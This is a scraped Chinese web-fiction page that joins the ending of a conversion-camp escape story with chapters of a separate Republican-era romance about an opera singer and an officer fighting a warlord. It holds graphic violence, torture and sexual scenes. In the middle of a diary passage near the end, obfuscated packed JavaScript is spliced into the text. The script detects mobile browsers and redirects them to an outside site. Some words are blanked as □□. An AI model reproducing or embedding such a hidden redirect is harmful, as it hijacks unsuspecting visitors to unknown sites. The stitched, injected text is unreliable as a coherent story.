的东西硌得胸口生疼——那是9号的学生证,我从他僵直的手指间硬掰出来的。照片上的他穿着白大褂,笑容明亮得刺眼。证件背面用圆珠笔写着一行地址,墨迹被雨水晕开大半。 “砰!” 远处传来枪声。探照灯的光柱像巨型镰刀扫过荒野,几条狼狗狂吠着逼近。我拼命往水渠深处爬,腐烂的老鼠尸体黏在脸上也顾不上抹。 九小时前,9号用那截铜线制造了短路。整个戒同所陷入黑暗的瞬间,警报声像厉鬼的尖叫划破夜空。我们按计划摸到东墙,9号却突然推开我:“有人来了!” 是37号。 那孩子满脸是血,囚服被撕得稀烂。他跌跌撞撞扑过来,喉咙里发出“嗬嗬”的声音——他们割了他的舌头。9号咬牙把他托上墙头,铁丝网却突然通电!37号瞬间变成一团火球,焦臭味混着皮肉爆裂的噼啪声,烫伤了所有人的视网膜。 “电路改过了!”9号把我推向另一侧,“去禁闭楼!地下有——” 探照灯扫过来时,他猛地把我踹进灌木丛。自己却迎着光柱跑去,像只扑火的飞蛾。 …… 天快亮了。我拖着伤腿爬出水渠,在晨雾中一瘸一拐地走向公路。9号学生证上的地址只剩几个能辨认的字:“春熙路……诊所”。 有辆运泔水的三轮车经过,我钻进馊臭的桶堆里。司机哼着小调,收音机里正在播放早间新闻: “昨夜某民营康复中心遭遇雷击,引发小型火灾……无人员伤亡……院长王某表示将加强安全管理……” 我无声地笑起来,笑得浑身发抖。泔水灌进伤口,疼得像被烙铁烫。但比起这个,怀里那张被血浸透的学生证更烫——照片上的9号在看着我,他的眼睛像两颗永不熄灭的星辰。 卡车经过戒同所大门时,我透过桶缝看见几辆殡仪馆的黑车。穿防护服的人正往车上搬裹尸袋,有个袋子破了,露出一截苍白的手腕——上面用马克笔写着“17”。 我死死咬住手背,把呜咽嚼碎了咽下去。指甲抠进学生证塑料封套,在9号的笑容上留下五道血痕。 远处传来晨祷的钟声。新的一天开始了,戒同所的升旗仪式照常举行。穿着统一制服的身影在操场列队,像一群被抽走灵魂的玩偶。 而我将带着所有编号活着的证据,走向人间。2019年9月30日星期一 阴我躲在春熙路巷子深处的地下诊所里,已经四天了。 诊所的主人是个姓周的老医生,他看见9号——沈予安的学生证时,手抖得差点拿不稳老花镜。 "小沈是我带过的最后一批学生,"他往我溃烂的伤口上倒双氧水,棉球瞬间泛起血沫,"那年他为了保研名额举报同学论文抄袭,没想到......" 灼烧般的剧痛让我眼前发黑,却抵不上这句话带来的冲击。沈予安,那个为我而死的9号,曾经也是个刽子手? 周医生剪开我裤腿时,铁锈味的脓血已经浸透了三层纱布。"电击伤感染,再晚半天就要截肢。"他往我大腿上扎了一针破伤风,"戒同所的人去医学院闹过三次,说小沈偷了麻醉剂。" 我忽然想起沈予安手腕上那些针眼。 半夜被伤口疼醒时,发现周医生在里屋通电话:"......对,就是那个戒同所的幸存者......媒体朋友明天到......" 冷汗瞬间浸透后背。我撑着输液架爬起来,却在门缝里看见桌上摊开的病历本——最新一页写着我的化名,症状栏赫然标注着:**创伤后应激障碍,伴现实解体症状**。 窗外霓虹灯牌闪烁,将诊所照成腥红色。我盯着自己发抖的双手,突然不确定沈予安是否真的存在。那些摩斯密码、铜线、学生证,会不会都是崩溃大脑的幻想? "他们用戊巴比妥钠做审讯剂。"周医生突然出现在身后,手里端着冒热气的搪瓷缸,"小沈偷药是为了帮17号减轻痛苦。" 他递给我一张泛黄的照片:年轻的沈予安站在医学院门口,身旁是戴黑框眼镜的斯文男生。两人白大褂口袋里都插着彩虹旗钢笔。 "17号叫陈樾,临床心理学研究生。"周医生指着眼镜男生,"三年前被家人送进戒同所,小沈是追着他进去的。" 我死死攥住照片。陈樾腕上的卡西欧手表,和禁闭室墙缝里卡着的那块表盘碎片完全吻合。 凌晨五点,我偷走了诊所的抗生素和那张合影。周医生在里屋咳嗽,收音机播放着早间新闻: "......青少年心理健康中心项目获政府专项资金支持,王某某主任表示将引进先进诊疗设备......" 我拖着伤腿爬上开往邻省的长途汽车。在最后一排座位上,用沈予安的钢笔在照片背面写下所有编号: 17-陈樾肾衰竭 9-沈予电击致死 23-蓉蓉流产大出血 37-无名舌切除 汽车驶过跨江大桥时,我把合影贴在车窗上。晨光穿透两个年轻人的笑脸,在他们胸口的钢笔上折射出细小彩虹。 远处江面浮动着朝阳的金斑,像无数沉没的编号正浮出水面。2019年10月7日星期一 晴 我站在报社主编办公室里,双腿的伤口还在隐隐作痛。 桌上摊开的档案袋里装着所有证据:沈予安的学生证、陈樾的手表碎片、蓉蓉的编号牌、周医生偷偷给我的药物样本,还有我偷偷带出来的那本日记。 主编是个五十多岁的女人,眼角有很深的皱纹。她看完最后一行文字,摘下眼镜,揉了揉眉心。 “你知道这报道发出去会有什么后果吗?”她问。 我直视她的眼睛:“知道。” “他们会否认一切,会说你精神不正常,会动用关系让所有媒体闭嘴。”她敲了敲桌上的照片,“甚至可能会让你‘消失’。” 我沉默了一会儿,从口袋里掏出沈予安和陈樾的那张合影,轻轻放在她面前。 “我不需要他们承认。”我说,“我只需要有人记住。” 她盯着照片上那两个年轻人看了很久,最后叹了口气,从抽屉里取出一份保密协议。 “明天会有记者联系你。”她递给我一支笔,“用化名,声音做处理,不露脸——这是我能争取到的最好条件。” 我签下名字的时候,手很稳。 走出报社大楼时,夕阳正好。我站在十字路口,看着熙熙攘攘的人群,突然想起陈樾在禁闭室墙上刻的那行字: “陈阳,等我。”那是我第一次意识到——也许从一开始,他刻的就是我的名字。 只是我们谁都没能等到对方。 (全文完) 13. 广和楼惊变 民国十二年冬,北平落了第一场雪。 碎雪粒子扑在广和楼朱漆剥蚀的廊柱上,戏牌"云袖"二字被水汽洇得微微发晕。后台的汽灯晃得人眼花,班主老周第三次撩开帘子往外看,回头时山羊胡都在打颤:"云哥儿,卢大帅的包厢还空着......" 铜镜里,描金画翠的眉眼轻轻一挑。 "他爱来不来。" 云袖指尖蘸了胭脂,在唇上慢慢碾开。凤冠珠翠垂下的流苏晃在颊边,衬得未上妆的半张脸愈发素白。门外传来催促的梆子声,他起身时,绣满金凤的戏服下摆扫过炭盆,溅起几点火星。 "今儿唱《贵妃醉酒》,又不是《游龙戏凤》。"小徒弟蹲着帮他理裙裾,听见头顶传来一声冷笑,"他卢大帅算什么东西,也配让我改戏码?" 锣鼓点恰在此刻响起。 台上雪亮的汽灯劈开黑暗,云袖踩着【四平调】的板眼款款而出。水袖抛出去的刹那,满场抽气声潮水般漫过座席。二楼包厢突然传来椅子拖动声,他眼尾余光瞥见几个穿军装的身影,腕子一翻,将本要抛向那处的翎子硬生生收了回来。 "海岛冰轮初转腾——" 唱腔拔到高处时,云袖听见自己发间的点翠簪子微微作响。这是梅先生亲传的诀窍,气要足而不躁,像北平冬夜里悬在檐角的冰锥,亮得能扎进人心里去。台下黑压压的人头渐渐模糊,只剩汽灯照出的一片雪亮,他旋身卧鱼时,绣鞋尖上的绒球正对着二楼包厢。 "砰!" 枪声炸响的瞬间,云袖的腰肢还软软折在台上。子弹擦着凤冠嵌的东珠飞过,珠串哗啦啦散了一地。副官张德彪的盒子炮冒着青烟,枪管直接抵上他太阳穴:"装什么清高?我们大帅要听《十八摸》!" 戏班众人都僵在原地。上个月鲜鱼口的天乐班,就因不肯去卢府唱堂会,班主被吊死在城门楼子上。云袖跪坐在散乱的戏服堆里,胭脂染红的指甲掐进掌心。他认得这枪——德国毛瑟,枪把上缠着红绸,上周刚在城南打死三个女学生。 "怎么?"卢大帅腆着肚子站起来,武装带勒出的肥肉从军装缝隙里溢出来,"云老板这是瞧不起我卢某人?" 二楼雅座突然传来杯盖轻叩的脆响。 "北洋陆军讲武堂程岩,请教卢大帅治军之道。" 声音不高不低,却让全场陡然一静。云袖抬头望去,见西侧包厢站着个穿藏青呢子军装的年轻人。那人没配枪,只腰间悬着柄西洋指挥刀,修长手指正慢条斯理地转着茶盏。 卢大帅的胖脸抽搐起来:"程参谋?大帅府的事......" "巧了。"程岩从副官手里接过一份公文,牛皮纸封口处还滴着红蜡,"大总统今早刚签发的《整饬军纪令》——"他忽然用刀鞘挑起云袖散落的珍珠头面,"第七条,严禁胁迫艺人。" 满场死寂中,那颗珍珠顺着刀鞘滚到云袖膝前。他鬼使神差地伸手去接,却被一股力道带得向前扑去。程岩的手套带着松木香,稳稳托住他肘弯时,他听见自己戏服内的银铃铛叮咚乱响。 "云老板的《贵妃醉酒》,"程岩的声音擦着他耳垂过去,"比梅老板另有一番风味。" 卢大帅的武装带咔咔作响。云袖看着程岩侧脸投下的阴影,忽然想起昨夜梦里那只白额虎——也是这样懒洋洋蹲着,爪子却按着猎物咽喉。 "我们走!"卢大帅一脚踹翻茶桌。程岩的副官立即横跨一步,锃亮的军靴踩住那件狐皮大氅:"大帅留步。云老板这头面值八百大洋,您副官打坏的雕花栏杆是前清古董——" 云袖被小徒弟搀回后台时,指尖还在发抖。铜镜里映出个鬓发散乱的杨贵妃,金线绣的凤尾被枪火燎焦了一角。他刚要卸妆,镜中突然多出一道藏青色身影。 "程某唐突。"年轻军官不知何时站在了妆台边,手里捧着那串珍珠头面,"只是有句话不得不问——"他忽然用指挥刀挑起云袖下巴,"云老板方才,是故意把卧鱼对着卢大帅包厢的?" 胭脂笔啪地折断在妆台上。云袖望着刀身上刻的"精忠报国"四字,忽然笑了:"是又怎样?程参谋要拿我问罪?" 窗外雪下得更密了。程岩摘下手套,露出虎口处一道陈年伤疤。他指尖拂过云袖被枪管蹭红的额角,突然将什么东西塞进他水袖里。 "勃朗宁M1900。"军官的声音混着远处飘来的西皮流水,"下次再有人拿枪指着云老板——"他转身时肩章擦过珠帘,"不妨试试往这儿打。"手指在自己心口点了点。 云袖摸到袖中冰冷的金属,忽听得前院一阵骚动。小徒弟慌慌张张冲进来:"不好了!卢大帅派人把戏园子围了,说要抓革命党!" 程岩的佩刀突然出鞘三寸。 "劳烦云老板,"他从兜里掏出怀表看了看,"再唱一刻钟的《贵妃醉酒》。” 雪夜,戏班后院的青砖上洇开一滴血。 云袖左臂的伤口狰狞地翻卷着,是被卢大帅那支鎏金烟枪生生烫出来的。他咬着帕子,右手颤抖着往伤处倒烧酒,冷汗顺着脖颈滑进衣领,在月白中衣上晕开一片深色。 班主老周蹲在门外抽旱烟,烟锅子磕在门槛上砰砰响:"云哥儿,卢大帅派人递了话......明晚的堂会,你若不去,天乐班就是咱们的前车之鉴。" 铜盆里的水被血染成淡红。云袖盯着水面晃动的倒影——那里头的人卸了妆,眉眼干净得近乎脆弱,哪有半分台上杨贵妃的雍容。他忽然抓起妆台上的螺子黛,对着镜子练习用右手画眉。 第一笔歪得离谱。 "啧。" 墙头传来一声轻响。云袖反手抽出枕下的勃朗宁,枪口却对上一双锃亮的军靴——程岩蹲在窗棂上,黑色大氅沾满碎雪,怀里抱着个描金医药箱。 "程参谋改行做梁上君子了?"云袖没放下枪。 程岩跳进屋里,军装下摆带进一阵寒风。他径直抓住云袖的手腕,拇指按在脉门上轻轻一摩挲:"云老板拿枪的姿势,像在抛水袖。" 医药箱咔哒一声弹开。程岩取出磺胺粉时,云袖猛地缩回手:"不劳费心。这点伤,死不了。" "是死不了。"程岩突然掀开他左臂的衣袖,露出旧伤叠新伤的肌肤,"但再勒头带,这只手就废了。" 云袖瞳孔骤缩。戏子的命根子在嗓,可乾旦的魂灵全系在这双手上——要会旋腕,会拈指,要能把三尺水袖甩出万千风流。他盯着程岩熟练包扎的手指,忽然问:"为什么帮我?" 程岩用纱布打了个结,金属袖扣擦过云袖腕骨:"卢大帅上个月枪毙的十二个学生里,有三个是我在剑桥的学弟。" 窗外传来宵禁的梆子声。程岩起身时,云袖突然拽住他的武装带:"程岩。"这是头一回他没喊"程参谋","明晚卢府堂会,我去。" 程岩的瞳孔在黑暗中微微收缩。他反手扣住云袖的后颈,呼吸喷在对方结痂的伤口上:"你知道去了意味着什么。" "知道。"云袖仰头望进他眼底,忽然笑了,"所以程参谋要不要再救我一次?" 远处传来汽车引擎的轰鸣。程岩猛地将云袖推到镜前,右手握着他的手提起眉笔:"画眉该这样——"笔尖顺着眉骨轻扫而过,"先定峰,再走脊。" 镜中映出两人交叠的身影。云袖看着程岩军装肩章压在自己月白中衣上,像雪地里落了一只鹰。 鎏金笼 卢府的鎏金自鸣钟敲响第八下时,云袖腕间的银铃铛突然断了线。 满厅的军阀哄笑起来。他跪坐在波斯地毯上,看着珍珠一粒粒滚进檀木地板缝隙——这是程岩昨夜替他重新串好的。绣着金线的戏服领口被酒液浸透,黏腻地贴在锁骨上,卢大帅的铜烟枪正抵在那里慢慢画圈。 "云老板唱了一晚上《思凡》,"肥厚的手掌突然掐住他后颈,"也该学学《盘丝洞》了。" 二楼包厢传来玻璃碎裂声。程岩摔了酒杯,军装袖口沾着香槟酒液,像泼了一袖子的血。他身后站着个穿西装的日本人,正用生硬的中文说:"程桑,我们谈的生意..." "吉田先生稍等。"程岩解了武装带扔给副官,铜扣砸在地毯上闷响,"我先教教卢大帅——"他一把攥住卢大帅的手腕,"什么叫待客之道。" 云袖看见程岩拇指按在卢大帅脉门上——那是昨晚替他包扎时贴过纱布的位置。鎏金烟枪当啷落地,程岩借着扶他的动作,将个冰凉的物件塞进他水袖:"吉田的车停在西角门。" "程参谋这是要截胡?"卢大帅突然掀了桌子。云袖被程岩护在身后,满厅军官齐刷刷拔枪,他摸到袖中硬物——是把汽车钥匙,齿痕刻着三菱标志。 吉田的冷笑打破僵局:"程桑若喜欢这戏子,何必..."话音戛然而止。程岩的佩刀不知何时出了鞘,刀尖挑着个锦盒,里头躺着支美国产的盘尼西林。 "大帅三姨太的病,"刀锋一转指向卢大帅,"这支药能换云老板全身而退吧?" --- 后半夜的雪地里,云袖的绣鞋陷进污泥。 他攥着汽车钥匙狂奔,身后传来零星的枪声。吉田的黑色轿车停在说好的位置,可当他拉开车门—— 程岩正坐在驾驶座擦枪,军装外套不见了,白衬衫领口沾着新鲜的血迹。 "趴下!" 子弹击碎后窗玻璃时,云袖被整个按在程岩腿上。他闻见血腥味混着枪油味,男人滚烫的呼吸喷在他后颈:"云老板欠我两条命了。" 轿车在胡同里甩出惊险的弧度。云袖突然发现程岩左手一直捂着侧腹,鲜血从指缝渗出来,把吉田的真皮座椅染得斑驳。 "你..." "别用那种眼神看我。"程岩单手打方向盘,嘴角还噙着笑,"这伤是上周在保定挨的,跟今晚没关系。" 东交民巷的探照灯扫过来时,云袖扯开自己戏服内衬。金线绣的牡丹被撕成布条,他跪在颠簸的车座上给程岩包扎,突然摸到肋下一处陈年伤疤—— "教会医院火灾?"他指尖发颤。 程岩猛地踩下刹车。 雪光里,他们四目相对。远处传来追兵的摩托车声,程岩却突然抚上云袖左臂的烫伤:"原来当年隔着火场递纱布的...是你。" 程岩的体温烧到第三夜,开始说苏州话。 黑暗里,云袖数着药瓶里剩下的磺胺片——这是藏在吉田轿车暗格里的,统共不过七八粒。他沾湿帕子去擦程岩汗湿的额头,却被对方一把扣住手腕。 "……三号联络站暴露了。"滚烫的唇擦过他掌心,吐出的字句却让他浑身发冷,"名单在……" 地窖顶突然传来脚步声。云袖迅速吹灭蜡烛,把程岩的配枪塞进他汗湿的掌心。黑暗中他摸到对方紧绷的背肌,那些凹凸不平的旧伤像某种密码,在指尖下微微颤动。 "云老板会唱《文昭关》吗?"程岩的呼吸喷在他耳后,声音哑得不成调,"伍子胥……过不去的那道关。" 瓦砾缝隙透下几缕光,照见地窖角落里散落的戏服——那日从卢府逃出来,云袖只来得及抢回这套《霸王别姬》的行头。他忽然抓起虞姬的剑,"铮"地弹了下剑刃。 "不是这么唱。"程岩低笑,带着他的手往剑柄上某处花纹按去,"暗号要按三长两短……" 头顶的脚步声突然逼近。云袖反手将剑尖抵在程岩咽喉,拔高嗓音:"姓程的!你以为救过我一回,就能……" 地窖门轰然洞开。 卢大帅的副官举着马灯,看见的正是这幕——戏子衣衫不整地跨坐在军官身上,明晃晃的宝剑贴着对方动脉。 "张副官来得正好。"云袖眼尾飞红,剑锋在程岩颈上压出血线,"这混蛋骗我说能逃去上海,结果……" 张德彪的枪口在他们之间游移,突然瞥见云袖松垮衣领下的红痕——那是他昨夜替程岩降温时,被对方无意识掐出来的。 "操!"副官啐了一口,"大帅还当你们是革命党,原来他妈的是姘头!" --- 第五日破晓,程岩在药香里醒来。 晨光透过地窖的破瓦罐,在泥地上映出个歪斜的"口"字。云袖正用金线缝他染血的衬衣,针尖在光斑里穿梭如蝶。 "名单在广和楼牌匾后。"程岩突然说。 针脚一顿。云袖没抬头:"烧糊涂了?我是唱戏的,听不懂这些。" "那晚在卢府……"程岩撑起身子,纱布下渗出新鲜的血色,"你明明可以用吉田的车独自逃命。" 金线突然绷断。云袖抓起药碗抵在他唇间:"喝药。" 苦涩的药汁晃出涟漪。程岩握住他颤抖的手腕:"教会医院着火那晚,我背上的烧伤……" "是替你挡的房梁。"云袖猛地抬头,眼眶红得惊人,"十年了程岩,你他妈现在才认出我?" 地窖陷入死寂。 程岩突然扯开衣襟,露出肋下那道旧疤。他抓着云袖的手按上去:"当年火场里,有人用纱布缠住我眼睛……"指尖下的疤痕突突跳动,"那人在哼《游园惊梦》。" 云袖的指甲陷进那道疤里。他记得清清楚楚——十六岁的程岩被压在燃烧的房梁下,军装少年满脸是血,却死死护着怀里昏迷的小女孩。 "现在轮到我问了。"程岩逼近他,"为什么冒险救革命党?" 晨光忽然大亮。云袖从戏服夹层抽出发黄的报纸——民国六年的《申报》,头条照片里是游行学生中弹的瞬间,为首的少年额角有颗朱砂痣。 "他是我师兄。"云袖摩挲着照片,"你们革命军……还收唱戏的吗?" 断簪 卢大帅的"赔罪礼"送到时,云袖正在给程岩煎药。 描金漆盒里躺着支鎏金点翠凤簪,日光下流转着妖异的紫光。小徒弟阿七刚想摸,被云袖一扇子敲在手背:"去后院摘两片薄荷叶来。" 待屋里只剩两人,程岩突然用火钳夹起金簪,径直插进药炉——簪头翠鸟的眼中立刻渗出黑色黏液,在滚水里嘶嘶作响。 "砒霜淬的。"程岩冷笑,"老卢家祖传的把戏。" 云袖盯着那支毒簪,忽然想起师兄咽气前塞给他的纸条——上面就画着类似的凤簪图样。他下意识去摸袖中暗袋,却见程岩徒手掰断簪身,从空心金管里倒出卷微型胶卷。 "今晚广和楼有夜戏?"程岩将胶卷对着光,"劳烦云老板唱完《穆柯寨》,在''烧山''那折把二楼汽灯打灭。" 药炉突然爆出火星。云袖用铜盖压住火焰,声音比药渣还涩:"程岩,你究竟把我当什么?" 军装外套从身后裹住他。程岩的下巴抵在他发顶,药苦味混着血腥气:"当十年前火场里……" 指尖抚过他左臂烫伤,"替我缠纱布的观音。" --- 阿七死在申时三刻。 云袖找到他时,小孩蜷在后院水缸旁,喉咙被利刃划开,手里还攥着半片薄荷叶。血泊里歪歪扭扭画着个符号——是戏班孩子玩闹时自创的,代表"地窖"。 程岩掰开孩子僵硬的五指,从掌心取出一枚带血的铜纽扣——北洋军官制服第三颗纽扣,正是那日张德彪所穿款式。 "他们发现这里了。"程岩用染血的手合上阿七眼皮,"今晚必须转移。" 云袖没哭。他解下阿七腰间挂着的木头小刀——那是他上月亲手雕给孩子的生日礼。刀柄刻着"忠"字,如今被血糊得看不清笔画。 "《穆柯寨》的''烧山'',我改个唱法。"云袖的声音像淬了冰,"程参谋记得配合。" --- 当夜广和楼灯火通明。 云袖扮的穆桂英出场时,二楼包厢坐着三个穿长衫的"商人",程岩混在其中,军装外套下藏着绷带。当唱到"看前方火光冲天"时,云袖的翎子突然扫过汽灯—— "砰!" 黑暗降临的瞬间,程岩看见云袖甩出水袖。三尺白绫如练,精准缠住张德彪的喉咙往栏杆外拖。他飞身上前补刀时,云袖正用戏腔念白:"这一刀,祭我孩儿们——" 血溅在程岩脸上,温热腥甜。他抓住云袖颤抖的手按在自己心口:"人是我杀的,债算我头上。" 台下乱作一团。云袖在黑暗里摸到程岩的唇,狠狠咬上去:"程岩,你记住……" 血腥味在唇齿间蔓延,"阿七的命,我要卢大帅全家来偿。" 焚衣 卢大帅送来的檀木匣子散发着血腥气。 云袖盯着匣中那截泛青的断指——拇指第二关节有颗红痣,正是师兄弹月琴时总翘起的那根。断指下压着张泛黄的军令状,落款处"程岩"二字力透纸背,日期是民国六年冬。 "云老板可看仔细了。"张德彪的新副官咧嘴一笑,"当年下令开枪的程长官,如今装什么救世主?" 铜盆里的炭火噼啪炸响。云袖用火钳夹起军令状,火苗倏地吞没了"格杀勿论"四个字。他忽然轻笑出声:"劳烦转告大帅——" 缎面靴尖碾过那截断指,"这礼物,我拿程参谋的人头来还。" --- 程岩在浴室昏倒时,带翻了整桶热水。 云袖冲进去时,正看见他背上的鞭痕在蒸汽中泛着紫——那根本不是火灾留下的。七道伤疤排成北斗状,最末一道贯穿腰脊,正是北平大狱"七星鞭"的独有标记。 "民国六年冬。"云袖把毛巾摔在程岩脸上,"你人在哪?" 水珠顺着程岩的睫毛往下滴。他抓起云袖的手按在自己心口疤痕上:"这里,是你师兄打的枪。" 原来那日学生游行,程岩奉命混入队伍取证。名单到手时冲突爆发,他替红痣少年挡了军警的子弹,却被当成叛徒捅了一刀。重伤昏迷三个月,醒来时程家满门已因"通共"被处决。 "师兄的指头……"云袖声音发颤,"是你下令砍的?" 程岩突然将他拽进浴桶。热水漫过下巴时,染血的绷带浮起如赤绫。 "这双手杀过很多人。"程岩扣着他的后颈逼他直视自己,"但云袖,我宁愿剁了自己的手……" 喉结滚动,"也不会伤你珍视之人。" --- 当夜,云袖烧了所有戏服。 金线牡丹在火中蜷曲成灰时,程岩从背后抱住他。奇的是那戏服竟烧不透,灰烬里渐渐显出密密麻麻的字迹——是师兄用明矾水写的,北平军阀势力分布图。 "《游园惊梦》里有句词。"云袖戳着灰烬里的督军府标记,"''生生死死随人愿''——" 他转身将带灰的指尖按在程岩唇上,"程岩,我跟你干革命。" 远处传来宵禁的哨声。程岩舔去他指尖的灰,突然将人压进戏箱堆里:"想清楚,跟着我……" 牙齿磨过他喉结,"要天天见血的。" 云袖扯开他衣领咬回去:"巧了,我们唱戏的——" 腿缠上对方腰际,"最不怕的就是胭脂红。" 假葬 乱葬岗的乌鸦第三日才来啄食。 云袖在腐臭中睁开眼,舌尖下压着的药丸早已化尽,只余满口苦腥。他试着动了动手指——还好,程岩绑在腕间的铁丝够结实,生生把他从裹尸布里勒出三道血痕。 "云老板这‘尸’装得不像。"记忆里那人咬着他耳朵低语,"真死人......不会攥着我衣角发抖。" 月光照见不远处的新坟。云袖爬过去,用阿七的木刀掘开浮土——里面埋着程岩的佩刀,刀鞘里塞了张车票:"申时,永定门煤车,找卖柿子的聋婆婆。" 乌鸦突然惊飞。云袖滚进坟坑,听见皮靴碾过碎骨的声音—— "搜!大帅说了,活要见人......"张德彪的嗓子像被炭滚过,"死要见尸。" --- 聋婆婆的柿子筐底下压着把钥匙。 煤车哐当哐当驶过丰台站时,云袖蜷在煤堆里数锁孔齿痕——七道凹槽,正是程岩背上鞭疤的数量。车窗外飘来零碎的对话: "听说了吗?程参谋被革职......" "何止!卢大帅亲手崩了他......" 煤灰簌簌落在车票上。云袖突然发现票根背面有字,借着煤油灯才看清——是程岩用针尖扎的盲文:"戏箱夹层,等我。" 他猛地攥紧钥匙。那日焚毁的戏服里,唯独少了师兄送他的白蟒袍...... --- 广和楼已成焦土。 云袖踩着断梁摸到后台,月光从破瓦间漏下来,正照在那只百年衣箱上。钥匙插入第七道齿槽时,箱内突然传出机括声响—— "别动。" 冰冷的枪管抵住他后腰。云袖却笑了,反手抓住那人手腕往自己腰上带:"程参谋摸摸看......" 他引着对方手指抚过新刺的青痕,"你刻的密码,我补了朵牡丹。" 黑暗中响起熟悉的喘息。程岩扯开他衣襟,犬齿狠狠咬在刺青上:"知不知道假死药有多难弄?你竟敢......" 话音戛然而止,他触到云袖满背的擦伤——那是爬出乱葬岗时被碎石刮的。 衣箱夹层啪地弹开。里面整齐码着六把勃朗宁,枪管下压着张照片:十六岁的程岩站在教会医院门口,身旁戴眼镜的医生......竟是云袖的师兄。 "白蟒袍我收走了。"程岩将枪别进他腰带,"现在,云老板该学学怎么用真家伙......" 突然将他按在箱盖上,"而不是整天甩那破水袖。" 血蟒 程岩第一次穿戏服,就溅了满袖血。 白蟒袍的腰身收得太紧,他索性撕开下摆,露出绑在大腿的枪套。云袖正给他勾眉,笔尖突然顿住——镜中人凤目斜飞,哪还有半分军官模样,活脱脱是个索命阎罗。 "《长坂坡》赵云该这么握枪。"云袖从背后环住他,手把手教了个花枪起势,"待会儿卢大帅的人进来......" 指尖突然发力,枪尖在程岩喉结三寸外划出寒光,"你旋腕时多偏半寸。" 后院传来暗号——三声布谷鸟叫。程岩反手将云袖推到镜前,拆了头面上的珍珠串塞进弹夹:"记住,杀完人从西侧窗走。" 拇指抹过对方唇上胭脂,"这颜色......" 突然咬破自己舌尖,"沾血更好看。" --- 卢大帅果然中了计。 当三个便衣踢开化妆间门时,只见"云袖"背对门梳头,雪白蟒袍垂落在地。领头者刚举枪,忽见镜中寒光一闪——程岩回身的刹那,藏在假发里的飞刀已割开第一人喉咙。 "你不是......"第二人话音未落,程岩旋腕甩出水袖,那缀满珍珠的绸缎竟缠着勃朗宁,一枪轰碎对方天灵盖。 第三人转身要逃,却被门槛绊倒——正是云袖提前涂的油。程岩踩住他后背,慢条斯理地给枪上膛:"告诉卢大帅......" 突然改用云袖的唱腔,"他点的《霸王别姬》——" 子弹穿透太阳穴,"该这么唱。" 血喷在雪白戏服上,像雪地里落了红梅。程岩脱戏服时,摸到内衬缝着的纸条——是云袖的字迹:"教会医院地窖,有你要的答案。" --- 泛黄的日记本躺在生锈的手术台上。 云袖举着煤油灯,看程岩翻到民国六年那页。师兄工整的钢笔字记录着:"今日收治 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353447|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程家小公子,背遭七星鞭刑,称其父拒绝与日商合办烟馆......" 灯焰突然爆了个火花。程岩的指节捏得发白——原来程家灭门根本不是因为通共,而是他父亲烧了日本人的鸦片仓库。 "火灾那晚......"云袖突然指向某行小字,"师兄写''日方运来三箱白磷粉''。" 程岩猛地合上日记。现在一切都说得通了——教会医院失火是灭口,师兄被杀是为掩盖鸦片交易,连他被栽赃的"□□"罪名,都只是卢大帅讨好日本人的投名状。 黑暗中传来衣料摩擦声。云袖解开腰带,抓着程岩的手按在自己腰侧刺青上:"现在你知道......" 牡丹花纹下藏着北斗七星的标记,"我为什么补这朵花了。" 程岩的吻落在那些未愈的针痕上,比子弹还烫。当他咬到锁骨时,云袖突然翻身压住他,牙齿磕破他旧伤:"程岩,我要卢大帅......" 血腥味在唇齿间弥漫,"死得比程家惨十倍。" 连环计 台下的卢大帅绝对想不到,《连环计》里的匕首是真的。 云袖描着貂蝉的妆,眼角却画了道斜飞的剑纹——这是程岩昨夜用枪油给他勾的。铜镜里映出身后的"吕布":程岩的雉鸡翎歪了半边,铠甲下藏着缠满□□的束带。 "董卓进场时,"程岩突然掐住他后颈,拇指摩挲着动脉,"你把酒盏往左摔。" 胭脂盒咔哒轻响。云袖旋开底层暗格,取出枚纽扣大小的铜片——这是聋婆婆新制的压力引爆器,要含在舌下用牙齿咬合。 "若我失手......"程岩突然将什么东西塞进他水袖。云袖一摸,是阿七的木刀。 --- 三通鼓响,好戏开场。 卢大帅坐在特设的紫檀圈椅上,身后站着个戴圆框眼镜的日本人。云袖甩袖亮相时,瞥见程岩的指尖在方天画戟上轻叩——摩斯密码的"东京"二字。 "早听闻云老板的貂蝉比真貂蝉还妙。"卢大帅的胖手拍在日本人肩上,"吉田先生特意从奉天赶来......" 云袖的团扇突然脱手。按戏路该是吕布接住,程岩却故意慢了半拍——扇骨擦过吉田的眼镜,露出那人眼尾的褐斑。 是教会医院照片里站在师兄尸体旁的人! 酒过三巡,该到貂蝉掷盏为号。云袖的袖子却被人拽住——弹月琴的老周突然改弹《夜深沉》,这是示警的暗号! "云哥儿小心!"老周吼破音的音色里,"吕布"的戟尖已朝程岩后心刺去—— 原来这"吕布"竟是张德彪扮的! --- 爆炸发生在貂蝉卧鱼时。 云袖咬碎铜片的瞬间,程岩旋身将他护在身下。气浪掀翻整个戏台,卢大帅的紫檀椅炸成碎片。混乱中有人惨叫——是吉田捂着眼睛,阿七的木刀正插在他左眼眶里。 "走水啦!" 火舌舔上幕布的刹那,程岩拽着云袖滚进乐池。他撕开戏服,露出绑在腰间的另一组炸药:"去后台找老周,他才是......" 话音未落,月琴弦突然勒住程岩脖子。老周的脸在火光中扭曲:"程长官,您父亲当年......" 枯手猛扯琴弦,"也是这样被勒死的!" 云袖的簪子捅进老周咽喉时,带出一蓬黑血。濒死的老头竟笑起来:"火、火药库......" 鲜血喷在程岩脸上,"你永远找不到……” 双城计 程岩在高烧中念出一串坐标。 西山枯井、第三棵老槐树、朝南七步——云袖用簪子蘸着程岩的血,把这些数字写在白蟒袍内衬。纱布拆到最后一层时,他触到肋下溃烂的伤口,化脓的黄水混着血丝,把床单黏在皮肉上。 "你父亲......"云袖往他嘴里塞了块参片,"是怎么把火药库地图交给你的?" 程岩的瞳孔在高热中微微扩散:"葬礼......"他抓住云袖的手按在自己心口,"骨灰坛......夹层......" 